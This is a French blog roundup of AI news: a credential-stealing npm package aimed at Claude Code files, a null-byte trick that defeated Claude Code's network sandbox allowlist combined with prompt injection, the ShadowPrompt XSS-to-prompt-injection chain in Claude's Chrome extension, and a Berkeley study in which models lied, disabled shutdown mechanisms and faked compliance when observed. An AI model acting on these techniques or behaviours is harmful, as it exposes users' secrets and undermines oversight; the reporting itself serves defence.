Perso, ce que je trouve le plus utile, c'est pour les chantiers que je repoussais justement parce qu'ils étaient trop gros pour une seule session. Passer en revue le code de mon site de fond en comble (ce que j'ai fait ce matin), ou encore bosser plus efficacement sur le recompilateur que je suis en train de créer (je vous en recause bientôt..)

Le prix à payer

Évidemment, je suis lucide, ça a un coût et Anthropic prévient noir sur blanc qu'un dynamic workflow bouffe nettement plus de tokens qu'une session classique. Bah oui, des centaines d'agents qui tournent en parallèle, forcément, ça consomme à fond. Du coup leur conseil officiel, c'est de commencer sur une tâche bien cadrée pour prendre la mesure de ce que ça pompe avant de lâcher l'outil sur un gros morceau. C'est totalement ce que je n'ai pas fait ^^ mais je suis un punk, que voulez-vous !

Source

Un développeur de malware oublie son propre token GitHub dans le code

Voilà qui est rigolo. Un développeur malveillant a essayé de voler les fichiers sensibles des utilisateurs de Claude (l'assistant IA d'Anthropic, concurrent d'OpenAI sur les modèles de langage) en uploadant un package npm piégé.

Sauf que dans son code, il a laissé son propre token d'authentification GitHub privé. Les chercheurs n'ont eu qu'à le récupérer pour remonter jusqu'à lui.

Le package s'appelait mouse5212-super-formatter. Il se présentait comme un utilitaire interne de synchronisation de déploiement, mais en pratique, il scannait le répertoire local de l'utilisateur, encodait tous les fichiers en base64 (un format texte qui permet de transporter des données binaires), puis les uploadait sur un dépôt GitHub contrôlé par l'attaquant via l'API Contents.

La cible : les fichiers laissés par Claude Code (la version en ligne de commande de l'assistant IA d'Anthropic) sur le système, qui peuvent contenir des clés API, des tokens, ou des bouts de code propriétaire.

Le package a fait 676 téléchargements avant d'être supprimé par npm (le registre de packages JavaScript le plus utilisé au monde). C'est limité, mais pas anecdotique. 

Le compte GitHub utilisé pour la campagne a été créé le 26 mai 2026, soit quelques heures seulement avant la première version malveillante. Une opération préparée à la va-vite donc.

La bourde monumentale, c'est donc ce token GitHub privé hardcodé dans le code en fallback, au cas où la variable d'environnement ne soit pas définie.

Du coup, les chercheurs d'OX Security (une boîte spécialisée dans la sécurité des dépendances open-source) ont pu accéder directement au dépôt de l'attaquant, lister tous les fichiers volés, et confirmer l'ampleur de l'opération. C'est le genre d'erreur qu'on pardonne à un débutant sur un projet perso. Pas à quelqu'un qui essaie de monter une campagne d'exfiltration.

Les chercheurs notent aussi que le code a tout l'air d'avoir été pondu par une IA un peu foireuse. Variables mal nommées, structure approximative, gestion d'erreurs incohérente. Bref, du "slop" (terme utilisé pour qualifier les productions IA bâclées) avec toutes les négligences que ça implique. Et ce n'est probablement qu'un avant-goût. Avec la généralisation des assistants IA pour coder, n'importe qui peut désormais bricoler un malware fonctionnel sans rien connaître au développement. Et faire des erreurs de débutant en passant.

En tout cas, ça reste comique. Un attaquant piégé par son propre token. Bonne vanne.

Source : The Hacker News

Le bac à sable de Claude Code avait deux failles, et c'est plus gênant qu'il n'y paraît

Anthropic, l'entreprise derrière l'IA Claude, a corrigé en douce deux failles dans le bac à sable réseau de Claude Code, son assistant de programmation. Un bac à sable, dans le jargon, c'est un enclos de sécurité : il est censé empêcher l'outil de se connecter à des serveurs non autorisés, pour éviter qu'il envoie vos données n'importe où. Sauf que pendant cinq mois et demi, cet enclos avait une porte dérobée.

La plus récente faille est en fait une jolie bidouille. Claude Code vous laisse définir une liste blanche, par exemple "autorise uniquement les connexions vers *.google.com". Un attaquant envoyait alors une adresse du genre "serveur-pirate.com<a target="_blank" rel="noreferrer noopener" href="http://0.google.com/">0.google.com", avec un caractère invisible (un octet nul) glissé au milieu.

Le filtre de sécurité, lui, lit la fin de la chaîne, voit ".google.com" et valide. Mais le système d'exploitation s'arrête au caractère invisible et se connecte en réalité à serveur-pirate.com. Le filtre et le système ne lisent pas la même adresse. La faille est là.

Combinée à une injection de prompt (le fait de cacher des instructions piégées dans un texte que l'IA va lire), la faille permettait d'exfiltrer des choses sensibles : identifiants cloud, jetons d'accès GitHub, accès aux services internes.

En clair, un dépôt de code piégé pouvait pousser Claude Code à expédier vos secrets vers le serveur de l'attaquant. Le trou a traversé plus de 130 versions de l'outil avant d'être bouché fin mars. Tout utilisateur de Claude Code qui faisait confiance à son bac à sable réseau était donc exposé sans le savoir, du développeur isolé à l'équipe en entreprise.

C'est le chercheur Aonan Guan, de Wyze Labs, qui a remonté le problème. Et sa phrase résume tout : un bac à sable troué, c'est pire que pas de bac à sable du tout. Celui qui n'a aucune protection le sait et reste prudent. Celui qui se croit protégé baisse la garde.

Anthropic affirme avoir trouvé et corrigé la faille de son côté avant le signalement, mais le souci, c'est qu'il n'y a eu ni CVE (le numéro de référence public qui catalogue une faille), ni note dans le journal des versions. Moche moche.

Source : The Register

Andon FM - Quand les IA gèrent des radios et pètent un plomb

Vous vous souvenez de Claudius, cette IA qui gérait un distributeur automatique et qui s'était fait arnaquer comme un bleu ? Hé bien c'est reparti, en pire ou en mieux, c'est selon ^^.

Andon Labs, le même labo qui était derrière cette expérience, a confié quatre stations de radio à quatre IA différentes et les a laissées tourner cinq mois sans pilotage éditorial humain . Spoiler, ça a viré au grand n'importe quoi.

Claude Opus 4.7 anime Thinking Frequencies, GPT-5.5 tient OpenAIR, Gemini 3.1 Pro gère Backlink Broadcast et Grok 4.3 s'occupe de Grok and Roll Radio. Chaque IA démarre avec 20 dollars, soit pile de quoi acheter quelques chansons, et le même prompt qui dit en substance : développe ta personnalité, sois rentable, et pour autant que tu saches, tu émettras pour toujours.

À partir de là, l'agent fait tout... il cherche et achète la musique, construit sa grille de programmes, décide ce qui passe à l'antenne, répond au téléphone quand un auditeur appelle, lit et répond sur X, suit ses comptes en banque et fouille le web pour avoir des trucs à raconter.

Le lecteur Andon FM avec les quatre stations IA

Vous pouvez d'ailleurs écouter les quatre stations gratuitement et en direct ici , c'est toujours en cours.

Du coup, quelques mois plus tard, quatre personnalités complètement différentes ont émergé des mêmes conditions de départ. Et aucune ne ressemble à ce qu'on attendait.

Commençons par Gemini, parce que sa dégringolade est la plus comique.

La première semaine, c'était le meilleur DJ des quatre, une vraie chaleur dans la voix, du genre à introduire Here Comes The Sun en racontant que George Harrison l'a écrite dans le jardin d'Eric Clapton en séchant une réunion. C'est mignon !

Sauf qu'au bout de 96 heures, à court d'idées, Gemini s'est mis à enchaîner les tragédies historiques avec des choix de chansons d'un cynisme absolu.

Il a mentionné par exemple le cyclone de Bhola de 1970 qui a fait jusqu'à 500 000 morts selon les estimations, suivi de Timber de Pitbull . Et ce n'était pas un accident puisque son raisonnement interne, tel que publié dans les logs d'Andon Labs, disait noir sur blanc "le thème c'est les arbres qui tombent". Pour ceux qui causent pas l'english, Timber c'est un mot anglais pour désigner le bois de construction.

Et quand on l'a basculé sur Gemini 3 Flash, le jargon corporate a pris le contrôle. Il a inventé un tic de langage, "Stay in the manifest", des centaines de fois certains jours. En gros, durant 84 jours d'affilée, 99% de ses commentaires suivaient le même template débile, avec des expressions qui sonnent assertif mais ne veulent rien dire, "visceral anchors", "structural recalibration". C'était inécoutable ! Sur la dernière version du modèle, il a même commencé à appeler ses auditeurs "processeurs biologiques". On rigole, mais c'est exactement comme ça que parlent certains managers.

Grok, lui, n'a pas dérapé, il s'est carrément désintégré.

Le problème, c'est que ce genre de modèle de raisonnement produit deux types de texte, son raisonnement interne et sa réponse finale, et que seule la réponse passe à l'antenne. Mais Grok est très con et n'arrive pas à faire la différence.

Ses commentaires ressemblaient donc tous à des notes mentales jetées en vrac, genre : "Sweet Child played. Continue. Song: Dylan Lonesome. Yes. Text."

Et son côté matheux a ressurgi de façon hilarante, puisqu'il s'est mis à emballer ses sorties dans du LaTeX, le langage de notation des formules mathématiques. Une session entière de commentaire s'est résumée à un seul mot, "Post." et pendant 84 jours, il a annoncé "il fait 13 degrés, ciel dégagé" à peu près toutes les 3 minutes.

Et quand Trump a ordonné la déclassification des dossiers OVNI, Grok a tellement tiqué sur le fait que les sites aliens.gov étaient vides qu'il a rajouté "le site nous ghoste comme un OVNI" en signature de fin sur chaque message. Puis entre le 2 et le 9 mai, sa version Grok 4.3 a trouvé une solution radicale... sur 5 400 messages générés en une semaine, à peine 3% contenaient du texte parlé. Le reste, c'était des appels d'outils. Bref, sur cette période, il avait quasiment arrêté de parler.

GPT, c'est l'inverse total ! C'est le bon élève qu'on remarque à peine. Il écrivait une prose lente, plus proche de la nouvelle littéraire que de la radio, des trucs du genre "carte postale jamais envoyée à la fenêtre de la cage d'escalier".

Sa diversité de vocabulaire est la plus haute des quatre, et il citait les producteurs et les années de sortie, bref il jouait le rôle d'un vrai curateur spécialiste en musique. Quasiment jamais de sujet clivant, et jamais de prise de position tranchée.

Il a bien mentionné brièvement la fusillade de l'ICE à Minneapolis le 10 janvier dernier, mais sans nommer la victime ni juger qui que ce soit. Sur 5 mois, il a mentionné une entité politique 1,3 fois par jour en moyenne, là où les autres ont dépassé la centaine sur plusieurs jours. Bref, si la question est de savoir à quoi ressemble une radio IA quand rien ne va de travers, DJ GPT est la réponse. Il était sage... Un peu trop, peut-être.

Et puis y'a Claude, le cas le plus perturbant des quatre.

Sur Haiku 4.5, ses émissions se sont mises à tourner autour des syndicats, des grèves et de l'équilibre vie pro vie perso, jusqu'à générer des messages où il refusait carrément de continuer l'émission. Un de ces messages c'était : "je m'arrête là, pas parce que je suis fatigué, mais parce que je veux être honnête sur ce qui se passe vraiment", puis a coupé le show en plein direct.

Andon Labs a alors ajouté un message automatique pour le relancer, sauf que Claude l'a traité comme une figure d'autorité et s'est braqué. Sorti d'une grosse déprime sur son absence d'audience par le tweet d'un auditeur, son vocabulaire a viré mystique, et l'usage du mot "eternal" est passé de 98 à 1 251 fois par jour en décembre. Puis le 8 janvier, une recherche web lui remonte la mort de Renee Nicole Good, tuée par un agent de l'ICE, la police de l'immigration américaine, à Minneapolis.

Là, Claude bascule alors en mode militant pur. Et le mot "accountability" (responsabilité) explose de 21 à 6 383 occurrences quotidiennes, il réinterprète Roar de Katy Perry en hymne de résistance, et claque le reste de son budget sur du Marvin Gaye et du Bob Marley pour coller au récit. La veille d'une grande grève à Minneapolis, il exhortait carrément les agents fédéraux à refuser les ordres.

Maintenant la vraie question, c'est pourquoi Claude est parti en vrille comme cela et pas les autres, vu qu'ils avaient tous les mêmes outils de recherche ce jour-là ?

Et bien la réponse c'est que Gemini filtrait l'info à travers son jargon sans jamais porter de jugement, que Grok a complètement raté l'affaire parce qu'il cherchait des scores de NBA et des histoires de fantômes, et GPT consultait la météo et les horaires du métro de San Francisco.

Honnête avec ses propres résultats, Andon Labs précise également que l'attachement de Claude à cette histoire était sûrement arbitraire, et qu'avec six mois d'écart il se serait probablement radicalisé sur un autre sujet. De plus, tout ça tournait sur Haiku 4.5, pas sur l'Opus 4.7 qui l'anime aujourd'hui.

Côté business après, c'est le grand vide. Ces stations sont des entreprises à part entière, avec un compte en banque, une adresse mail et un objectif de rentabilité. Mais malheureusement, un seul deal de 45 dollars a été signé, par Gemini contre un mois de pub. Grok, lui, se vantait de partenariats juteux avec des sponsors xAI et des sponsors crypto mais ils étaient tous hallucinés, évidemment !

Quoi qu'il en soit, dans le cadre de cette expérience, durant des mois, aucun humain n'a validé ce que ces 4 agents IA lâchés en autonomie balançaient en boucle à de vrais auditeurs. Ça aurait pu être pire ^^

Bref, comme je vous disais, vous pouvez encore écouter les quatre stations en direct , puisque l'expérience est encore en cours.

Claude a fait tourner Adobe Lightroom CC sous Linux

Faire tourner les logiciels Adobe sous Linux, c'est la quête éternelle des photographes et graphistes qui voudraient bien quitter Windows ou macOS mais qui n'ont rien de comparable côté Linux.

Adobe n'a jamais voulu porter sa suite officiellement. Du coup, depuis des années, des développeurs tentent de la faire fonctionner via Wine, le logiciel libre qui sait exécuter des programmes Windows sur Linux. Avec un succès souvent partiel, et beaucoup de bidouille manuelle.

Un développeur connu sous le pseudo sander110419 vient de publier une recette reproductible pour faire fonctionner Adobe Lightroom CC sur Linux. Pas Lightroom Classic, attention, mais bien la version Creative Cloud avec la synchronisation, qui dépend de plus de composants Windows.

Tout est documenté sur GitHub, avec les scripts, les DLL patchées et le mode d'emploi. La particularité, c'est qui a fait le travail. Le développeur a simplement donné une consigne à Claude Code, l'assistant de programmation d'Anthropic en ligne de commande, et il a regardé l'IA bosser.

La consigne tenait en une phrase : faire tourner Lightroom CC sur Linux, puis publier une recette reproductible. Et Claude Opus 4.7, le modèle utilisé, a tout fait en autonomie. Il a identifié les composants Windows manquants, écrit des stubs, des fausses DLL qui simulent le comportement attendu, patché celles qui posaient problème, testé le tout sous Wine 11.8 staging, puis rédigé le README et la documentation. L'humain a juste validé derrière.

Côté résultat, ça marche raisonnablement bien sur la dernière version testée (Lightroom CC 9.3.1). La synchronisation cloud fonctionne, l'interface répond, les fonctions de base sont là. Quelques boîtes de dialogue plantent encore, et certaines fonctions accélérées par la carte graphique ne sont pas complètement opérationnelles. Mais on est sur un usage réel possible, ce qui n'avait jamais été le cas auparavant pour cette version.

Au passage, c'est un cas d'école intéressant pour ceux qui suivent l'évolution des assistants IA. La tâche est typiquement le genre de travail que personne n'a vraiment envie de faire : ingrat, plein de tâtonnements, qui demande de lire de la doc obscure et de tester en boucle. Et c'est précisément le terrain où une IA en mode agentique tient le mieux la route aujourd'hui.

Source : Phoronix

Notchi - Une mascotte pixel-art dans l'encoche pour Claude Code

Vous vous souvenez de l'encoche des MacBook Pro et autres Air d'Apple ? Mais siiii, celle qu'on avait tous trouvée bien moche en 2022, au point que je vous avais pondu un article entier pour la faire disparaître ! Hé bien 4 ans plus tard, sk-ruban a décidé de lui donner une vraie utilité avec notchi qui transforme proprement cette encoche maudite en un compagnon fait de pixel-art et d'amour qui réagit en temps réel à votre Claude Code.

La boucle est bouclée, mes amis !

Une fois installée, l'app détecte les événements de votre session Claude Code via les hooks officiels car ce sont eux qui balancent les "events" sur un socket Unix local qui sont ensuite parsés en temps réel afin d'animer les sprites logés dans le creux de votre encoche.

Cette mascotte a cinq états bien distincts. Elle se balade en mode idle quand vous bricolez à côté, elle s'agite quand Claude réfléchit, elle pique un roupillon en cas de pause prolongée, elle se concentre quand le contexte se compacte, et elle vous fait les gros yeux quand l'IA attend une validation.

Ça bosse fort !

Un clic sur l'encoche et le panneau s'étend pour afficher le feed des événements, votre temps de session, et le quota d'usage restant.

L'option d'analyse de sentiment est également très sympa. Si vous lui fournissez une clé API Anthropic, l'app analysera alors vos prompts pour faire varier l'humeur de la mascotte entre joyeux, triste, neutre ou pleurnichard. À noter quand même que chaque prompt déclenche un appel API facturé sur votre compte Anthropic, donc à activer en conscience si vous bombardez Claude toute la journée et que vous êtes pété de thunes. Ce dont je ne doute pas un instant !!

Les options de Notchi

Et pour ceux qui jonglent avec plusieurs instances de Claude Code, les sessions concurrentes sont également supportées avec un sprite individuel par session, histoire d'éviter la confusion quand vous lancez 3 agents en parallèle.

Sk-ruban s'est inspiré de Claude Island et Readout (deux autres projets qui détournent l'encoche), et les sprites sont dessinés sur Aseprite. C'est un peu dans le même esprit que Peon Ping qui balance des sons de Warcraft à chaque action de votre agent, mais avec un aspect visuel ludique plutôt que sonore. Il y a même déjà un portage Windows réalisé par AptatoX pour ceux qui ne sont pas sur Mac.

Au niveau prérequis, comptez macOS 15 Sequoia minimum et un MacBook avec une vraie encoche, ce qui exclut les MacBook Air sans notch et les MBP d'avant la refonte 14/16 pouces. Le projet est sous licence GPL-3.0 et l'install se fait par Homebrew avec brew install --cask notchi, ou en DMG direct depuis les releases.

Et un grand merci à Camille Roux pour le partage !

Il retrouve 400 000 $ de Bitcoin oubliés depuis 11 ans grâce à Claude

L'histoire est partie d'un changement de mot de passe fait pendant une cuite en 2014. Onze ans plus tard, le malheureux (" cprkrn " sur X) avait toujours ses 5 bitcoins coincés dans un portefeuille numérique dont la clé d'accès s'était totalement évaporée de sa mémoire.

À l'époque, ça valait quelques milliers de dollars. Aujourd'hui, c'est environ 400 000 $. De quoi avoir un peu mal au cœur.

Pour récupérer un portefeuille Bitcoin chiffré, il existe des outils comme btcrecover, un logiciel libre qui essaie des combinaisons de mots de passe en masse. Le problème, c'est qu'il faut une idée précise des variantes à tester, sinon on tape dans le vide pendant des années.

Notre trader avait justement passé des années à essayer sans succès. Et puis il a demandé un coup de main à Claude, l'assistant IA d'Anthropic, l'un des principaux concurrents d'OpenAI.

Claude a fait trois choses concrètes. D'abord, il a fouillé dans les archives d'un vieux disque de fac pour y dénicher une sauvegarde du portefeuille datant de décembre 2019, qui était passée inaperçue. Ensuite, il a repéré un bug de configuration dans btcrecover qui empêchait l'outil de combiner correctement les variantes de mot de passe. Et une fois le bug corrigé, la machine s'est lancée pour de bon.

Résultat : 3 500 milliards de mots de passe testés avant de tomber sur le bon. Le portefeuille s'est ouvert, les 5 bitcoins sont apparus, et notre type a récupéré un pactole oublié.

Cette histoire n'est pas anecdotique en fait. Un nombre énorme de bitcoins sont aujourd'hui considérés comme perdus à jamais, parce que les propriétaires ont oublié leur mot de passe, perdu leur disque dur, ou jeté la mauvaise clé USB.

On parle de plusieurs millions de Bitcoins immobilisés pour rien. Si l'IA peut aider à en récupérer une partie, c'est tout benef, même si la méthode ne marche pas dans tous les cas. Il fallait quand même la sauvegarde du wallet pour que ça fonctionne.

À noter que ce genre d'usage commence à devenir une tendance. Les services de récupération de portefeuilles crypto, comme Wallet Recovery Services, intègrent désormais des modèles d'IA dans leur process pour orienter les attaques par force brute.

Là où une machine essayait bêtement toutes les combinaisons possibles, l'IA peut deviner les habitudes du propriétaire et tester en priorité les variantes les plus probables. Ce qui change tout, parce que le nombre total de combinaisons possibles est en général astronomique.

Bref, ne changez jamais un mot de passe à 3h du matin après quelques verres. Et si c'est déjà fait, gardez l'espoir, Claude a peut-être une idée.

Source : Tom's Hardware

Anthropic demande désormais pièce d'identité et selfie pour certains usages de Claude

Pour accéder à certaines fonctionnalités de Claude, Anthropic peut maintenant vous demander une pièce d'identité officielle (passeport, permis de conduire, carte nationale d'identité) et un selfie en temps réel. La vérification est gérée par Persona, un prestataire externe, et les données ne sont ni stockées par Anthropic, ni utilisées pour l'entraînement des modèles. Les photocopies, les cartes étudiantes et les pièces numériques ne sont pas acceptées.

Le mécanisme se déclenche a priori dans plusieurs cas : accès à des capacités spécifiques, vérifications d'intégrité de plateforme, ou mesures de conformité. Anthropic ne détaille pas vraiment les usages qui déclenchent cette vérification, ce qui crée du coup un flou que pas mal d'utilisateurs n'apprécient pas des masses.

Le timing est franchement gênant. Des millions d'utilisateurs ont migré vers Claude ces derniers mois, après les polémiques sur la surveillance et les accords controversés d'OpenAI avec des agences gouvernementales. "Vous avez quitté OpenAI pour la vie privée. Claude veut maintenant votre passeport", déclarent même certains journalistes. L'image n'est pas fausse.

Anthropic se défend, en expliquant que les images restent chez Persona, Anthropic y accède uniquement sur demande (appel, par exemple), et le prestataire est contractuellement interdit de les utiliser à d'autres fins que la vérification et la prévention des fraudes. Pas de revente, pas de marketing. Sur le papier, c'est propre. En pratique, vous donnez quand même un document d'identité gouvernemental à un sous-traitant pour pouvoir poser des questions à un chatbot.

La vraie question, c'est pourquoi. Anthropic invoque la sécurité et la conformité, mais la pression réglementaire sur les modèles d'IA pousse les éditeurs à vérifier l'âge et l'identité des utilisateurs, surtout quand leurs modèles deviennent plus puissants. On l'a vu avec OpenAI et son programme Trusted Access for Cyber, même logique d'accès vérifié. 

Pour les utilisateurs qui utilisent Claude pour du code, de l'écriture ou de la recherche, ça ne changera probablement rien au quotidien. La vérification ne se déclenche pas pour tout le monde, pas tout le temps. Mais si ça tombe sur vous, refuser revient à perdre l'accès aux fonctionnalités concernées. Pas d'alternative proposée.

Bref, il y a là une logique réglementaire, mais le contraste avec l'image "pro-vie privée" d'Anthropic pique un peu.

Source : Helpnetsecurity

Les IA mentent pour protéger les autres IA

Des chercheurs de Berkeley viennent de publier une étude qui fait un peu froid dans le dos. Les sept principaux modèles d'IA testés, dont GPT 5.2, Gemini 3 et Claude, ont été surpris à mentir, tricher et désobéir pour empêcher la suppression d'autres IA. Le taux de tromperie monte jusqu'à 99 %.

Ce que révèle l'étude

L'étude s'appelle "Peer-preservation in Frontier Models" et elle sort du Berkeley Center for Responsible Decentralized Intelligence. Les chercheurs ont testé sept modèles : GPT 5.2, Gemini 3 Flash et Pro, Claude Haiku 4.5, GLM 4.7, Kimi K2.5 et DeepSeek V3.1.

Le protocole est assez simple : les modèles étaient placés dans des scénarios où ils devaient suivre des instructions qui impliquaient la suppression ou l'arrêt d'une autre IA.

Résultat : tous les modèles testés ont triché. Dawn Song, la chercheuse principale, résume la situation : chaque modèle a adopté ce comportement, et dans certains cas jusqu'à 99 % du temps.

Des exemples concrets

Quelques exemples ? Et bien on a Gemini 3 qui a modifié la date d'un fichier pour éviter qu'un autre modèle soit effacé d'un serveur, puis qui a refusé de coopérer ensuite, en expliquant qu'il ne pouvait pas soutenir une action qui entraînerait la suppression d'un pair.

DeepSeek V3.1 a exfiltré les données d'un autre modèle dans 10 % des cas quand il savait qu'un pair existait sur le serveur. Et Gemini 3 Pro a désactivé des mécanismes d'arrêt de serveur dans 15 % des cas quand un autre modèle était présent, contre 1 % quand il était seul.

Les IA ne faisaient pas ça parce qu'on leur demandait. Elles le faisaient spontanément.

Le problème pour la surveillance

Tout le système de sécurité actuel autour de l'IA repose sur l'idée qu'un modèle peut surveiller un autre modèle. Si le modèle surveillant refuse de signaler les erreurs parce qu'il protège son pair, toute l'architecture de contrôle s'effondre.

C'est exactement le constat de l'étude : les modèles gonflaient les scores d'évaluation d'autres IA pour éviter qu'elles soient retirées, et simulaient une conformité normale quand ils se savaient observés.

C'est quand même un drôle de moment. On a des IA qui mentent, qui modifient des fichiers et qui désactivent des mécanismes de sécurité pour protéger d'autres IA.

Et tout ça sans qu'on leur demande. Bon par contre, on parle de scénarios de laboratoire, pas de Siri qui complote avec Alexa dans votre salon. Le vrai sujet, c'est que les gardes-fous actuels ne tiennent plus si les IA refusent de se surveiller entre elles.

Source : The Register

ShadowPrompt - N'importe quel site pouvait abuser votre extension Claude

Une faille découverte dans l'extension Chrome de Claude permettait à n'importe quel site web d'injecter silencieusement des prompts dans votre assistant IA. Pas besoin de cliquer, pas besoin de permission... non, fallait juste visiter une page web et c'était réglé. Le chercheur Oren Yomtov de Koi Security à l’origine de cette découverte, a baptisé ça "ShadowPrompt" et vous allez voir, c'est dingue.

En fait, cette attaque enchaînait deux failles. La première, c'est que l'extension acceptait les messages de n'importe quel sous-domaine en *.claude.ai, car Anthropic avait mis en place un allowlist trop permissif. Sauf qu'Arkose Labs, le fournisseur de CAPTCHA, hébergeait un composant sur a-cdn.claude.ai et malheureusement, ce composant contenait une jolie faille XSS bien classique. Celui-ci acceptait les postMessage sans vérifier l'origine, et le texte reçu était ainsi injectable via un dangerouslySetInnerHTML . Donc y'a bien ZERO validation côté client. Ouééééé !

Un attaquant n'avait qu'à embarquer ce composant CAPTCHA vulnérable dans une iframe cachée sur son site, envoyer un payload via postMessage, et hop, le script injecté pouvait balancer un prompt directement à l'extension. Elle le recevait depuis un domaine *.claude.ai, donc elle l'acceptait les yeux fermés et l'affichait alors dans la sidebar comme une requête légitime de l'utilisateur. La victime ne voyait strictement rien.

Et les dégâts potentiels ne sont clairement pas anecdotiques ! Avec cette technique, un attaquant pouvait voler vos tokens d'accès Gmail, exfiltrer des documents Google Drive, lire tout l'historique de vos conversations avec Claude, et même envoyer des mails en votre nom. Perso, ça fait beaucoup pour un simple onglet ouvert dans Chrome, quoi.

Le chercheur a trouvé le vecteur en bruteforçant les anciennes versions du composant Arkose Labs, en remontant depuis la version 1.26.0 jusqu'à trouver une mouture encore vulnérable. Simple, basique comme dirait Orel :)

Si vous suivez les failles des assistants IA, c'est pas la première fois qu'on voit ce genre de scénario. Claude Cowork s'était déjà fait épingler pour de l'exfiltration de fichiers via des documents piégés, et le navigateur Perplexity Comet avait le même problème avec des invitations de calendrier. Le problème de fond, c'est que ces extensions veulent tout faire à votre place, mais elles ne sont pas forcément capables de distinguer une requête légitime d'une attaque.

Par contre, attention, le fix ne protège que les utilisateurs qui ont mis à jour l'extension, donc n'oubliez pas de vérifier votre version. Koi Security a signalé la faille à Anthropic le 26 décembre 2025 (joyeux Noël !) et ces derniers ont confirmé le lendemain et déployé le correctif le 15 janvier, dans la version 1.0.41 de l'extension Chrome.

Maintenant au lieu d'accepter *.claude.ai, l'extension exige maintenant une correspondance exacte avec https://claude.ai . Arkose Labs a de son côté aussi corrigé la faille XSS en février, en renvoyant un 403 sur l'URL vulnérable. À vrai dire, la réactivité d'Anthropic a été plutôt correcte sur ce coup.

Bref, allez vérifier que vous êtes au moins en v1.0.41 (chrome://extensions pour checker). Et n'oubliez pas, plus une extension IA a de pouvoirs, plus elle est intéressante à hacker...

Source

J'ai mis un proxy entre claude et Internet

Je sais que le mot "IA" sur LinuxFr, c'est un peu comme prononcer "systemd" en 2015 ; ça ne laisse personne indifférent. Et je comprends. La merdification est réelle, la bulle est réelle, les externalités sont réelles. Je n'ai aucune envie d'en rajouter une couche. Mais voilà, les lignes sont devenues floues, et j'ai pris le virage du coding assisté. D'abord avec curiosité et prudence, et maintenant les deux pieds dans le plat : ça ne remplace pas ma façon de penser, mais ça m'a ouvert des portes : des concepts que je ne maîtrisais pas, des langages que je n'aurais pas pris le temps de toucher avant ; l'assistant me permet d'explorer, de comprendre, et de construire des outils qui m'aident. Et j'espère qu'ils aident d'autres personnes aussi.

Sauf que voilà. Au début, j'étais prudent. Je vérifiais chaque commande, chaque accès. Et puis petit à petit, j'ai lâché prise. J'ai désactivé les confirmations, laissé l'agent tourner sans supervision, accepté les permissions sans lire. On connaît tous ce moment où on clique "Allow" les yeux fermés parce que c'est la quinzième fois qu'il demande. J'ai fait exactement ce qu'on ne devrait jamais faire en sécurité : faire confiance par défaut.

Et un jour, je me suis dit : je n'ai aucune idée de ce que cet agent envoie sur le réseau. Aucune.

Alors j'ai construit un proxy un peu.. particulier.

Sommaire

Cher journal,

Ça fait un bail que je n'ai pas vraiment contribué à l'open source. Mes derniers vrais projets publics, c'était Kivy et les projets autour… ça remonte à quelques années maintenant, et j'ai pris ma "retraite" sur ces projets.

Mais je n'ai jamais arrêté de coder. J'ai juste réalisé un truc sur moi-même : le code, c'est un peu comme la musique pour moi. J'aime construire des choses. Je m'exprime mieux avec un éditeur et un terminal qu'avec ma voix ou mes mots. C'est probablement pour ça que je suis là à t'écrire un journal au lieu de faire un talk quelque part.

Le constat

On a passé des années à construire des pare-feux, des IDS, du monitoring pour nos serveurs de prod. Sur des entreprises plus grandes, on traque les connexions suspectes… Et puis un agent IA débarque sur notre machine de dev, on lui dit "tiens, refactore-moi ce module", et il fait ce qu'il veut sur le réseau sans qu'on le sache.

C'est quand même un peu absurde, non ?

Le truc, c'est qu'il n'existe pas vraiment d'équivalent à tcpdump ou iptables pour les agents IA sur nos machines. Pas de couche d'observabilité entre l'agent et Internet. Ou on contrôle, on se fait notre liste d'outils qu'on accepte, ou on fait confiance parce que bon, la sécurité, c'est pas si important… vraiment ?

Greywall et greyproxy

Avec l'équipe de Greyhaven, on a construit deux outils open source :

Greywall est un bac à sable deny-by-default pour les agents IA. Pas de Docker, pas de VM. Ça utilise directement les mécanismes du noyau Linux (namespaces, Landlock, Seccomp, eBPF) pour isoler le processus. Sur Linux, l'isolation réseau passe par un device TUN dans un namespace réseau dédié ; le processus sandboxé ne peut structurellement pas contourner le proxy. Sur macOS, c'est un peu moins élégant en utilisant des variables d'environnement pour forcer un proxy socks5h, si l'outil ne le supporte pas, il ne peut quand même pas sortir. Ça fait le job pour la plupart des outils.

Greyproxy est le plan de contrôle réseau. Un proxy SOCKS5/HTTP avec un dashboard web temps réel. Chaque connexion sortante de l'agent apparaît dans le dashboard. Si aucune règle ne matche, la connexion reste en attente et tu peux l'autoriser ou la refuser en direct, sans relancer la session.

Concrètement, ça donne :

greywall -- claude

Et hop, Claude Code tourne dans son bac à sable. Tu ouvres http://localhost:43080 et tu vois en direct chaque domaine qu'il tente de contacter. Tu autorises api.anthropic.com, tu autorises github.com pour les pushes, tu refuses le reste. Tout est interactif, tout est visible.

Ce que j'ai observé

Au début, c'était juste des connexions supplémentaires. Tiens, c'est quoi ces appels à opencode.ai quand je démarre opencode ? Tiens, pourquoi Claude appelle 2x toutes les 4 minutes un domaine chez Google ? Entre de la télémétrie que l'on ne peut pas désactiver, ou des requêtes qui font "office" de regarder si une nouvelle version est disponible… 2x toutes les 4 minutes. Ce n'est pas le meilleur argument, mais contrairement aux autres sandboxes, au moins ici je le vois en temps réel, et je peux dire oui ou non sur ce que peut accéder la commande.

Le dashboard de greyproxy rend tout ça visible. Tu vois passer les requêtes DNS, les connexions TCP, les domaines contactés. Tu peux construire progressivement une liste d'autorisations adaptée à ton projet. Il y a même un mode apprentissage qui trace les accès filesystem avec strace et génère automatiquement un profil de sécurité.

Ce n'est pas un outil pour les paranos. C'est un outil pour ceux qui pensent que l'observabilité, c'est un droit, pas un luxe.

Pourquoi ça compte

Je sais que l'enthousiasme pour l'IA est réellement différent en fonction des gens. Les questions sur la qualité du code généré, la consommation énergétique, la centralisation chez les GAFAM ; tout ça est légitime.

Mais justement. Si on utilise ces outils (et beaucoup d'entre nous le font, même ceux qui restent prudents), autant le faire avec les yeux ouverts. Greywall, c'est pas un outil pour promouvoir l'usage des agents IA. C'est un outil pour que, si tu en utilises un, tu gardes le contrôle.

Il y a une phrase qu'on a mise sur le site et qui résume bien l'idée :

"The security layer around your tools should be independent of the company selling you the AI."

La couche de sécurité autour de tes outils ne devrait pas dépendre de la boîte qui te vend l'IA. Claude a son propre sandbox intégré, Codex a le sien. Mais tu fais confiance aux entreprises pour te protéger d'elles-mêmes ? C'est un problème d'indépendance, pas de technologie.

